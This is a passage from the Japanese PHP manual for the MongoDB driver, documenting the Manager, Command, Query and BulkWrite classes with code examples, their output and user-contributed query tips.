$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?readPreference=secondaryPreferred&readPreferenceTags=dc:ny,rack:1&readPreferenceTags=dc:ny&readPreferenceTags=');
var_dump($manager->getReadPreference());

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\Driver\ReadPreference)#2 (1) {
  ["mode"]=>
  string(7) "primary"
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(18) "secondaryPreferred"
  ["tags"]=>
  array(3) {
    [0]=>
    object(stdClass)#3 (2) {
      ["dc"]=>
      string(2) "ny"
      ["rack"]=>
      string(1) "1"
    }
    [1]=>
    object(stdClass)#4 (1) {
      ["dc"]=>
      string(2) "ny"
    }
    [2]=>
    object(stdClass)#5 (0) {
    }
  }
}

参考

  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Return the servers to which this manager is connected

  • ≪ MongoDB\Driver\Manager::getReadPreference
  • MongoDB\Driver\Manager::getWriteConcern ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the servers to which this manager is connected

MongoDB\Driver\Manager::getServers

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getServers — Return the servers to which this manager is connected

説明

final public MongoDB\Driver\Manager::getServers ( ) : array

Returns an array of MongoDB\Driver\Server instances to which this manager is connected.

注意: Since the driver connects to the database lazily, this method may return an empty array if called before executing an operation on the MongoDB\Driver\Manager.

パラメータ

この関数にはパラメータはありません。

返り値

Returns an array of MongoDB\Driver\Server instances to which this manager is connected.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Manager::getServers() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

/* The driver connects to the database server lazily, so Manager::getServers()
 * may initially return an empty array. */
var_dump($manager->getServers());

$command = new MongoDB\Driver\Command(['ping' => 1]);
$manager->executeCommand('db', $command);

var_dump($manager->getServers());

?>

上の例の出力は、 たとえば以下のようになります。

array(0) {
}
array(1) {
  [0]=>
  object(MongoDB\Driver\Server)#3 (10) {
    ["host"]=>
    string(9) "localhost"
    ["port"]=>
    int(27017)
    ["type"]=>
    int(1)
    ["is_primary"]=>
    bool(false)
    ["is_secondary"]=>
    bool(false)
    ["is_arbiter"]=>
    bool(false)
    ["is_hidden"]=>
    bool(false)
    ["is_passive"]=>
    bool(false)
    ["last_is_master"]=>
    array(8) {
      ["ismaster"]=>
      bool(true)
      ["maxBsonObjectSize"]=>
      int(16777216)
      ["maxMessageSizeBytes"]=>
      int(48000000)
      ["maxWriteBatchSize"]=>
      int(1000)
      ["localTime"]=>
      object(MongoDB\BSON\UTCDateTime)#4 (1) {
        ["milliseconds"]=>
        int(1447267964517)
      }
      ["maxWireVersion"]=>
      int(3)
      ["minWireVersion"]=>
      int(0)
      ["ok"]=>
      float(1)
    }
    ["round_trip_time"]=>
    int(554)
  }
}

参考

  • MongoDB\Driver\Server
  • MongoDB\Driver\Manager::selectServer() - Select a server matching a read preference

User Contributed Notes

There are no user contributed notes for this page.


Return the WriteConcern for the Manager

  • ≪ MongoDB\Driver\Manager::getServers
  • MongoDB\Driver\Manager::selectServer ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the WriteConcern for the Manager

MongoDB\Driver\Manager::getWriteConcern

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getWriteConcern — Return the WriteConcern for the Manager

説明

final public MongoDB\Driver\Manager::getWriteConcern ( ) : MongoDB\Driver\WriteConcern

Returns the MongoDB\Driver\WriteConcern for the Manager, which is derived from its URI options. This is the default write concern for writes and commands executed on the Manager.

パラメータ

この関数にはパラメータはありません。

返り値

The MongoDB\Driver\WriteConcern for the Manager.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Manager::getWriteConcern() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getWriteConcern());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?w=majority&wtimeoutMS=2000');
var_dump($manager->getWriteConcern());

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\Driver\WriteConcern)#2 (0) {
}
object(MongoDB\Driver\WriteConcern)#1 (2) {
  ["w"]=>
  string(8) "majority"
  ["wtimeout"]=>
  int(2000)
}

参考

  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Select a server matching a read preference

  • ≪ MongoDB\Driver\Manager::getWriteConcern
  • MongoDB\Driver\Manager::startSession ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Select a server matching a read preference

MongoDB\Driver\Manager::selectServer

(mongodb >=1.0.0)

MongoDB\Driver\Manager::selectServer — Select a server matching a read preference

説明

final public MongoDB\Driver\Manager::selectServer ( MongoDB\Driver\ReadPreference $readPreference ) : MongoDB\Driver\Server

Selects a MongoDB\Driver\Server matching readPreference. This may be used to preselect a server in order to perform version checking before executing an operation.

注意: Unlike MongoDB\Driver\Manager::getServers(), this method will initialize database connections and perform server discovery if necessary. See the » Server Selection Specification for additional information.

パラメータ

readPreference (MongoDB\Driver\ReadPreference)

The read preference to use for selecting a server.

返り値

Returns a MongoDB\Driver\Server matching the read preference.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException if a server matching the read preference could not be found.

参考

  • MongoDB\Driver\Server
  • MongoDB\Driver\Manager::getServers() - Return the servers to which this manager is connected
  • » Server Selection Specification

User Contributed Notes

There are no user contributed notes for this page.


Start a new client session for use with this client

  • ≪ MongoDB\Driver\Manager::selectServer
  • MongoDB\Driver\Command ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Start a new client session for use with this client

MongoDB\Driver\Manager::startSession

(mongodb >=1.4.0)

MongoDB\Driver\Manager::startSession — Start a new client session for use with this client

説明

final public MongoDB\Driver\Manager::startSession ( array $options = ? ) : MongoDB\Driver\Session

Creates a MongoDB\Driver\Session for the given options. The session may then be specified when executing commands, queries, and write operations.

注意: A MongoDB\Driver\Session can only be used with the MongoDB\Driver\Manager from which it was created.

パラメータ

options

options
Option Type Description Default
causalConsistency bool

Configure causal consistency in a session. If true, each operation in the session will be causally ordered after the previous read or write operation. Set to false to disable causal consistency.

See » Casual Consistency in the MongoDB manual for more information.

true
defaultTransactionOptions array

Default options to apply to newly created transactions. These options are used unless they are overridden when a transaction is started with different value for each option.

options
Option Type Description
maxCommitTimeMS integer

commitTransaction コマンドが実行できる最大の時間をミリ秒単位で指定します

指定する場合、 maxCommitTimeMS は、符号付き32bit の整数より大きいか、0でなければなりません

readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

This option is available in MongoDB 4.0+.

[]

返り値

Returns a MongoDB\Driver\Session.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException if the session could not be created (e.g. libmongoc does not support crypto).

変更履歴

バージョン | 説明
PECL mongodb 1.6.0 | The "maxCommitTimeMS" option was added to "defaultTransactionOptions".
PECL mongodb 1.5.0 | The "defaultTransactionOptions" option was added.

参考

  • MongoDB\Driver\Session
  • » Casual Consistency in the MongoDB manual

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Command class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\Command class is a value object that represents a database command.

To provide Command Helpers the MongoDB\Driver\Command object should be composed.

クラス概要

final MongoDB\Driver\Command {
/* メソッド */
final public __construct ( array|object $document , array $commandOptions = ? )
}

例

例1 Composing MongoDB\Driver\Command to provide a helper to create collections

<?php
class CreateCollection {
    protected $cmd = array();

    function __construct($collectionName) {
        $this->cmd["create"] = (string)$collectionName;
    }
    function setCappedCollection($maxBytes, $maxDocuments = false) {
        $this->cmd["capped"] = true;
        $this->cmd["size"]   = (int)$maxBytes;

        if ($maxDocuments) {
            $this->cmd["max"] = (int)$maxDocuments;
        }
    }
    function usePowerOf2Sizes($bool) {
        if ($bool) {
            $this->cmd["flags"] = 1;
        } else {
            $this->cmd["flags"] = 0;
        }
    }
    function setFlags($flags) {
        $this->cmd["flags"] = (int)$flags;
    }
    function getCommand() {
        return new MongoDB\Driver\Command($this->cmd);
    }
    function getCollectionName() {
        return $this->cmd["create"];
    }
}

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$createCollection = new CreateCollection("cappedCollection");
$createCollection->setCappedCollection(64 * 1024);

try {
    $command = $createCollection->getCommand();
    $cursor = $manager->executeCommand("databaseName", $command);
    $response = $cursor->toArray()[0];
    var_dump($response);

    $collstats = ["collstats" => $createCollection->getCollectionName()];
    $cursor = $manager->executeCommand("databaseName", new MongoDB\Driver\Command($collstats));
    $response = $cursor->toArray()[0];
    var_dump($response);
} catch(MongoDB\Driver\Exception $e) {
    echo $e->getMessage(), "\n";
    exit;
}

?>

上の例の出力は以下となります。

object(MongoDB\Driver\Command)#3 (1) {
  ["command"]=>
  array(3) {
    ["create"]=>
    string(16) "cappedCollection"
    ["capped"]=>
    bool(true)
    ["size"]=>
    int(65536)
  }
}
array(1) {
  ["ok"]=>
  float(1)
}
array(16) {
  ["ns"]=>
  string(29) "databaseName.cappedCollection"
  ["count"]=>
  int(0)
  ["size"]=>
  int(0)
  ["numExtents"]=>
  int(1)
  ["storageSize"]=>
  int(65536)
  ["nindexes"]=>
  int(1)
  ["lastExtentSize"]=>
  float(65536)
  ["paddingFactor"]=>
  float(1)
  ["paddingFactorNote"]=>
  string(101) "paddingFactor is unused and unmaintained in 2.8. It remains hard coded to 1.0 for compatibility only."
  ["userFlags"]=>
  int(0)
  ["capped"]=>
  bool(true)
  ["max"]=>
  int(9223372036854775807)
  ["maxSize"]=>
  int(65536)
  ["totalIndexSize"]=>
  int(8176)
  ["indexSizes"]=>
  object(stdClass)#4 (1) {
    ["_id_"]=>
    int(8176)
  }
  ["ok"]=>
  float(1)
}

目次

  • MongoDB\Driver\Command::__construct — Create a new Command

User Contributed Notes

jonny dot b dot 112 at gmail dot com 27-Sep-2018 09:14
0) Read the official MongoDB documentation for understand what db commands you can use and what parameters they requires - https://docs.mongodb.com/manual/reference/command/

1) Wrong:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);
because pipeline is array of objects in json words (index array of associative arrays in php words) - pipeline: [ {<stage>}, ... ]
What does it mean? It means that  'pipeline' must be like this:
[
    ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]],    // this is {<stage>}
    ['$match' => [...]],    // and this
    ...
    [...]    // and all of that
]
Just see https://docs.mongodb.com/manual/reference/operator/aggregation-pipeline/

2) The first pair in associative array for __construct's argument $document (if it is an array) must be a command name (e. g. 'count' => 'collectionName' or 'findAndModify' => 'collectionName'). I found this out experimentally, but you can examine source code  https://github.com/mongodb/mongo-php-driver/blob/master/src/MongoDB/Command.c for understand why it happens.
532041020 at qq dot com 30-Sep-2017 02:33
Wrong:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);
Right:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => [['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]][
]);
The 'pipeline' lack of '[]'
deiva at qq dot com 11-Aug-2017 09:59
I try to use the driver 1.29 (https://pecl.php.net/package/mongodb/1.2.9) in PHP 5.7, as following codes:

$mongo = new \MongoDB\Driver\Manager('mongodb://localhost:27017');

$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);

$rows = $mongo->executeCommand('database',  $cmd);
foreach($rows as $r){
    print_r($r);
}

it sometime saids:

Fatal error: Uncaught exception 'MongoDB\Driver\Exception\RuntimeException' with message ''pipeline' must be specified as an array'

sometime as :

Fatal error: Uncaught exception 'MongoDB\Driver\Exception\ConnectionTimeoutException' with message 'No suitable servers found (`serverSelectionTryOnce` set): [socket timeout calling ismaster on '127.0.0.1:27017']'

PS: other command can be executed normally.
tdrpic 09-Aug-2016 05:28
In case you're wondering how to perform a 'distinct' query:

<?php

// Sample MongoDB command:
// db.product.distinct("scent", {"prodCat": "10 oz can"})

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$query = ['prodCat' => '10 oz can']; // your typical MongoDB query
$cmd = new MongoDB\Driver\Command([
    // build the 'distinct' command
    'distinct' => 'product', // specify the collection name
    'key' => 'scent', // specify the field for which we want to get the distinct values
    'query' => $query // criteria to filter documents
]);
$cursor = $manager->executeCommand('catalog', $cmd); // retrieve the results
$scents = current($cursor->toArray())->values; // get the distinct values as an array

var_dump($scents);

?>


Create a new Command

  • ≪ MongoDB\Driver\Command
  • MongoDB\Driver\Query ≫
  • PHP Manual
  • MongoDB\Driver\Command
  • Create a new Command

MongoDB\Driver\Command::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Command::__construct — Create a new Command

説明

final public MongoDB\Driver\Command::__construct ( array|object $document , array $commandOptions = ? )

Constructs a new MongoDB\Driver\Command, which is an immutable value object that represents a database command. The command may then be executed with MongoDB\Driver\Manager::executeCommand().

The complete command document, which includes the command name and its options, should be expressed in the document parameter. The commandOptions parameter is only used to specify options related to the execution of the command and the resulting MongoDB\Driver\Cursor.

パラメータ

document

The complete command document, which will be sent to the server.

commandOptions

注意: Do not use this parameter to specify options described in the command's reference in the MongoDB manual. This parameter should only be used for the options explicitly listed below.

commandOptions
Option Type Description
maxAwaitTimeMS int

Positive integer denoting the time limit in milliseconds for the server to block a getMore operation if no data is available. This option should only be used in conjunction with commands that return a tailable cursor (e.g. » Change Streams).

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.4.0 | Added a second commandOptions argument, which supports the "maxAwaitTimeMS" option.

例

例1 MongoDB\Driver\Command::__construct() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$command = new MongoDB\Driver\Command(array("buildinfo" => 1));

try {
    $cursor = $manager->executeCommand("admin", $command);
    $response = $cursor->toArray()[0];
} catch(MongoDB\Driver\Exception $e) {
    echo $e->getMessage(), "\n";
    exit;
}
var_dump($response);

?>

上の例の出力は、 たとえば以下のようになります。

array(13) {
  ["version"]=>
  string(14) "2.8.0-rc2-pre-"
  ["gitVersion"]=>
  string(62) "b743d7158f7642f4da6b7eac8320374b3b88dc2e modules: subscription"
  ["OpenSSLVersion"]=>
  string(25) "OpenSSL 1.0.1f 6 Jan 2014"
  ["sysInfo"]=>
  string(104) "Linux infant 3.16.0-24-generic #32-Ubuntu SMP Tue Oct 28 13:07:32 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49"
  ["loaderFlags"]=>
  string(91) "-fPIC -pthread -Wl,-z,now -rdynamic -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -Wl,-E"
  ["compilerFlags"]=>
  string(301) "-Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -fno-builtin-memcmp -std=c99"
  ["allocator"]=>
  string(8) "tcmalloc"
  ["versionArray"]=>
  array(4) {
    [0]=>
    int(2)
    [1]=>
    int(8)
    [2]=>
    int(0)
    [3]=>
    int(-8)
  }
  ["javascriptEngine"]=>
  string(2) "V8"
  ["bits"]=>
  int(64)
  ["debug"]=>
  bool(false)
  ["maxBsonObjectSize"]=>
  int(16777216)
  ["ok"]=>
  float(1)
}

例2 MongoDB\Driver\Command::__construct() example

Commands can accept options as well, as part of the normal structure that you create to send to the server. For example, the maxTimeMS option can be passed with most commands to restrict the amount of time a specific command can run for on the server.

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$command = new MongoDB\Driver\Command(
    array(
        "distinct" => "beer",
        "key" => "beer_name",
        "maxTimeMS" => 10,
    )
);

try {
    $cursor = $manager->executeCommand("beerdb", $command);
    $response = $cursor->toArray()[0];
} catch(MongoDB\Driver\Exception\Exception $e) {
    echo $e->getMessage(), "\n";
    exit;
}
var_dump($response);

?>

上の例の出力は、 たとえば以下のようになります。

operation exceeded time limit

参考

  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Cursor

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Query class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\Query class is a value object that represents a database query.

クラス概要

final MongoDB\Driver\Query {
/* メソッド */
final public __construct ( array|object $filter , array $queryOptions = ? )
}

目次

  • MongoDB\Driver\Query::__construct — Create a new Query

User Contributed Notes

jaimegarbanzo at gmail dot com 18-Jan-2021 09:46
# constructing a to a remote server and querry and limiting the result to the latest 3 results

$username ="yourusername";
$password = "yourpasswort";

$manager = new MongoDB\Driver\Manager("mongodb://yourserver.com/",
     array("username" => $username, "password" => $password )
    );

# setting your options and filter
$filter  = [];
$options = ['sort'=>array('_id'=>-1),'limit'=>3]; # limit -1 from newest to oldest

#constructing the querry
$query = new MongoDB\Driver\Query($filter, $options);

#executing
$cursor = $manager->executeQuery('resultdb.test', $query);

echo "dumping results<br>";
foreach ($cursor as $document) {
    var_dump($document);
}
tiwaritusharudayan at gmail dot com 15-Jun-2018 09:29
This format displays the documents returned from the query as stdClass Objects. For display purposes, it's fine, but if certain computations need to be performed using the returned documents and their corresponding fields, use this:

------------------------------------Code Snippet-----------------------------------

$connection = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$filter = ["name"=>"insert_desired_name_here"];
/* the following condition, and others similar to it, work as well

$filter = ["age"=>["$gt"=>"18"]]; /*/

$options = []; /* put desired options here, should you need any */

$query = new MongoDB\Driver\Query($filter,$options);

$documents = $connection->executeQuery('trial.trial' /*dbname.collection_name*/,$query);

foreach($documents as $document){
    $document = json_decode(json_encode($document),true);
    echo $document[name];
}

--------------------------------------------------------------------------------------

The first executable statement inside the foreach encodes the returned stdClass object to a json object, and the same is immediately decoded to an associative array, which can then be used as and when needed
dvdogrady at gmail dot com 29-Oct-2017 03:58
Hello

Im just writing this note to help people out who want to write $filter arrays with query operators in them.

I have copied this code off maha88a's note but I changed the $filter to give you an idea of how it would work with the query operators

Considering the following MangoDB collection:

<?php
/* my_collection */

/* 1 */
{
    "_id" : ObjectId("5707f007639a94cbc600f282"),
    "id" : 1,
    "name" : "Name 1"
}

/* 2 */
{
    "_id" : ObjectId("5707f0a8639a94f4cd2c84b1"),
    "id" : 2,
    "name" : "Name 2"
}
?>

I'm using the following code:
<?php
// This $filter will return any id's qualing to 2 but what if we want all the id's above 0.
// $filter = ['id' => 2];
// This is how we would do this.
$filter = ['id' => ['$gt' => 0]]
$options = [
   'projection' => ['_id' => 0],
];
$query = new MongoDB\Driver\Query($filter, $options);
$rows = $mongo->executeQuery('db_name.my_collection', $query); // $mongo contains the connection object to MongoDB
foreach($rows as $r){
   print_($r);
}
?>
yatiny3007 at gmail dot com 04-Feb-2017 07:03
Find By _id

$mongo = new \MongoDB\Driver\Manager('mongodb://root:root@192.168.0.127/db');

$id           = new \MongoDB\BSON\ObjectId("588c78ce02ac660426003d87");
$filter      = ['_id' => $id];
$options = [];

$query = new \MongoDB\Driver\Query($filter, $options);
$rows   = $mongo->executeQuery('db.collectionName', $query);

foreach ($rows as $document) {
  pr($document);
}
Dalahimself 17-Nov-2016 07:12
How to query for an MongoDb _id with value $id

<?php
$filter=array();
$filter['_id']=new MongoDB\BSON\ObjectID($id);

$command=[
                  'find' => 'my_collection',
                  'filter' => $filter
];

$query = new MongoDB\Driver\Command($command);
?>
maha88a 09-Apr-2016 05:38
Here is an example of Query to retrieve the records from MangoDB collection using a filter. It will return in this case just one record that satisfy the filter id = 2.

Considering the following MangoDB collection:

<?php
/* my_collection */

/* 1 */
{
    "_id" : ObjectId("5707f007639a94cbc600f282"),
    "id" : 1,
    "name" : "Name 1"
}

/* 2 */
{
    "_id" : ObjectId("5707f0a8639a94f4cd2c84b1"),
    "id" : 2,
    "name" : "Name 2"
}
?>

I'm using the following code:
<?php
$filter = ['id' => 2];
$options = [
   'projection' => ['_id' => 0],
];
$query = new MongoDB\Driver\Query($filter, $options);
$rows = $mongo->executeQuery('db_name.my_collection', $query); // $mongo contains the connection object to MongoDB
foreach($rows as $r){
   print_($r);
}
?>
andzandz 15-Mar-2016 12:10
Careful with your filter here - integers and strings are different.

With a string ID '1000', this query will mysteriously return 0 results; wasted time figuring out what was going on:

$query = new MongoDB\Driver\Query(['_id' => 1000]);

This will work:

$query = new MongoDB\Driver\Query(['_id' => '1000']);

Would be nice if the library could handle this.


Create a new Query

  • ≪ MongoDB\Driver\Query
  • MongoDB\Driver\BulkWrite ≫
  • PHP Manual
  • MongoDB\Driver\Query
  • Create a new Query

MongoDB\Driver\Query::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Query::__construct — Create a new Query

説明

final public MongoDB\Driver\Query::__construct ( array|object $filter , array $queryOptions = ? )

Constructs a new MongoDB\Driver\Query, which is an immutable value object that represents a database query. The query may then be executed with MongoDB\Driver\Manager::executeQuery().

パラメータ

filter (array|object)

» クエリ述語。 空の述語を指定すると、コレクション内のすべてのドキュメントにマッチします。

注意: When evaluating query criteria, MongoDB compares types and values according to its own » comparison rules for BSON types, which differs from PHP's comparison and type juggling rules. When matching a special BSON type the query criteria should use the respective BSON class (e.g. use MongoDB\BSON\ObjectId to match an » ObjectId).

queryOptions

queryOptions
Option | Type | Description
allowDiskUse bool

Allows MongoDB to use temporary disk files to store data exceeding the 100 megabyte system memory limit while processing a blocking sort operation.

allowPartialResults bool

For queries against a sharded collection, returns partial results from the mongos if some shards are unavailable instead of throwing an error.

Falls back to the deprecated "partial" option if not specified.

awaitData | bool | Use in conjunction with the "tailable" option to block a getMore operation on the cursor temporarily if at the end of data rather than returning no data. After a timeout period, the query returns as normal.
batchSize int

The number of documents to return in the first batch. Defaults to 101. A batch size of 0 means that the cursor will be established, but no documents will be returned in the first batch.

In versions of MongoDB before 3.2, where queries use the legacy wire protocol OP_QUERY, a batch size of 1 will close the cursor irrespective of the number of matched documents.

collation array|object

» Collation は、文字列比較の際の言語固有のルールを指定するものです。たとえば、大文字小文字やアクセント記号の扱いを指定できます。 collation を指定するときには "locale" フィールドが必須となります。それ以外の collation フィールドはすべて任意指定です。 各フィールドについての説明は » Collation のドキュメント を参照ください。

collation が未指定で collection のデフォルトの collation が設定されている場合は、コレクションが持っている collation を用いて操作を実行します。 コレクションや操作にも collation が指定されていない場合は、MongoDB は単純にバイナリ比較を行います。 これは、今までのバージョンでの文字列比較と同じ方法です。

このオプションは MongoDB 3.4 以降で使用可能です。それより前のバージョンのサーバー上で指定すると、実行時に例外が発生します。

comment string

A comment to attach to the query to help interpret and trace query profile data.

Falls back to the deprecated "$comment" modifier if not specified.

exhaust bool

Stream the data down full blast in multiple "more" packages, on the assumption that the client will fully read all data queried. Faster when you are pulling a lot of data and know you want to pull it all down. Note: the client is not allowed to not read all the data unless it closes the connection.

This option is not supported by the find command in MongoDB 3.2+ and will force the driver to use the legacy wire protocol version (i.e. OP_QUERY).

explain bool

If true, the returned MongoDB\Driver\Cursor will contain a single document that describes the process and indexes used to return the query.

Falls back to the deprecated "$explain" modifier if not specified.

This option is not supported by the find command in MongoDB 3.2+ and will only be respected when using the legacy wire protocol version (i.e. OP_QUERY). The » explain command should be used on MongoDB 3.0+.

hint string|array|object

Index specification. Specify either the index name as a string or the index key pattern. If specified, then the query system will only consider plans using the hinted index.

Falls back to the deprecated "hint" option if not specified.

limit int

The maximum number of documents to return. If unspecified, then defaults to no limit. A limit of 0 is equivalent to setting no limit.

A negative limit is will be interpreted as a positive limit with the "singleBatch" option set to true. This behavior is supported for backwards compatibility, but should be considered deprecated.

max array|object

The exclusive upper bound for a specific index.

Falls back to the deprecated "$max" modifier if not specified.

maxAwaitTimeMS int

Positive integer denoting the time limit in milliseconds for the server to block a getMore operation if no data is available. This option should only be used in conjunction with the "tailable" and "awaitData" options.

maxScan int
警告

This option is deprecated and should not be used.

Positive integer denoting the maximum number of documents or index keys to scan when executing the query.

Falls back to the deprecated "$maxScan" modifier if not specified.

maxTimeMS int

The cumulative time limit in milliseconds for processing operations on the cursor. MongoDB aborts the operation at the earliest following interrupt point.

Falls back to the deprecated "$maxTimeMS" modifier if not specified.

min array|object

The inclusive lower bound for a specific index.

Falls back to the deprecated "$min" modifier if not specified.

modifiers | array | » Meta operators modifying the output or behavior of a query. Use of these operators is deprecated in favor of named options.
noCursorTimeout | bool | Prevents the server from timing out idle cursors after an inactivity period (10 minutes).
oplogReplay bool

Internal use for replica sets. To use oplogReplay, you must include the following condition in the filter:

[ 'ts' => [ '$gte' => <timestamp> ] ]

注意: This option is deprecated as of the 1.8.0 release.
projection array|object

The » projection specification to determine which fields to include in the returned documents.

If you are using the ODM functionality to deserialise documents as their original PHP class, make sure that you include the __pclass field in the projection. This is required for the deserialization to work and without it, the driver will return (by default) a stdClass object instead.

readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation. By default, the read concern from the MongoDB Connection URI will be used.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

returnKey bool

If true, returns only the index keys in the resulting documents. Default value is false. If true and the find command does not use an index, the returned documents will be empty.

Falls back to the deprecated "$returnKey" modifier if not specified.

showRecordId bool

Determines whether to return the record identifier for each document. If true, adds a top-level "$recordId" field to the returned documents.

Falls back to the deprecated "$showDiskLoc" modifier if not specified.

singleBatch | bool | Determines whether to close the cursor after the first batch. Defaults to false.
skip | int | Number of documents to skip. Defaults to 0.
slaveOk | bool | Allow query of replica set secondaries
snapshot bool
警告

This option is deprecated and should not be used.

Prevents the cursor from returning a document more than once because of an intervening write operation.

Falls back to the deprecated "$snapshot" modifier if not specified.

sort array|object

The sort specification for the ordering of the results.

Falls back to the deprecated "$orderby" modifier if not specified.

tailable | bool | Returns a tailable cursor for a capped collection.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

変更履歴

バージョン | 説明
PECL mongodb 1.8.0

Added the "allowDiskUse" option.

The "oplogReplay" option is deprecated.

PECL mongodb 1.5.0

The "maxScan" and "snapshot" options are deprecated.

PECL mongodb 1.3.0

Added the "maxAwaitTimeMS" option.

PECL mongodb 1.2.0

Added the "allowPartialResults", "collation", "comment", "hint", "max", "maxScan", "maxTimeMS", "min", "returnKey", "showRecordId", and "snapshot" options.

Renamed the "partial" option to "allowPartialResults". For backwards compatibility, "partial" will still be read if "allowPartialResults" is not specified.

Removed the "slaveOk" option, which is obsolete. For queries using the legacy wire protocol OP_QUERY, the driver will set the slaveOk bit as needed in accordance with the » Server Selection Specification.

PECL mongodb 1.1.0 | Added the "readConcern" option.

例

例1 MongoDB\Driver\Query::__construct() example

<?php
/* Select only documents authord by "bjori" with at least 100 views */
$filter = [
    'author' => 'bjori',
    'views' => [
        '$gte' => 100,
    ],
];

$options = [
    /* Only return the following fields in the matching documents */
    'projection' => [
        'title' => 1,
        'article' => 1,
    ],
    /* Return the documents in descending order of views */
    'sort' => [
        'views' => -1
    ],
];

$query = new MongoDB\Driver\Query($filter, $options);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$readPreference = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$cursor = $manager->executeQuery('databaseName.collectionName', $query, $readPreference);

foreach($cursor as $document) {
    var_dump($document);
}

?>

参考

  • MongoDB\Driver\Manager::executeQuery() - Execute a database query
  • MongoDB\Driver\Cursor

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\BulkWrite class

(mongodb >=1.0.0)

はじめに

The MongoDB\Driver\BulkWrite collects one or more write operations that should be sent to the server. After adding any number of insert, update, and delete operations, the collection may be executed via MongoDB\Driver\Manager::executeBulkWrite().

Write operations may either be ordered (default) or unordered. Ordered write operations are sent to the server, in the order provided, for serial execution. If a write fails, any remaining operations will be aborted. Unordered operations are sent to the server in an arbitrary order where they may be executed in parallel. Any errors that occur are reported after all operations have been attempted.

クラス概要

final MongoDB\Driver\BulkWrite implements Countable {
/* メソッド */
public __construct ( array $options = ? )
public count ( ) : int
public delete ( array|object $filter , array $deleteOptions = ? ) : void
public insert ( array|object $document ) : mixed
public update ( array|object $filter , array|object $newObj , array $updateOptions = ? ) : void
}

例

例1 Mixed write operations are grouped by type

Mixed write operations (i.e. inserts, updates, and deletes) will be assembled into typed write commands to be sent sequentially to the server.

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(['x' => 2], ['$set' => ['x' => 1]]);
$bulk->insert(['_id' => 3, 'x' => 3]);
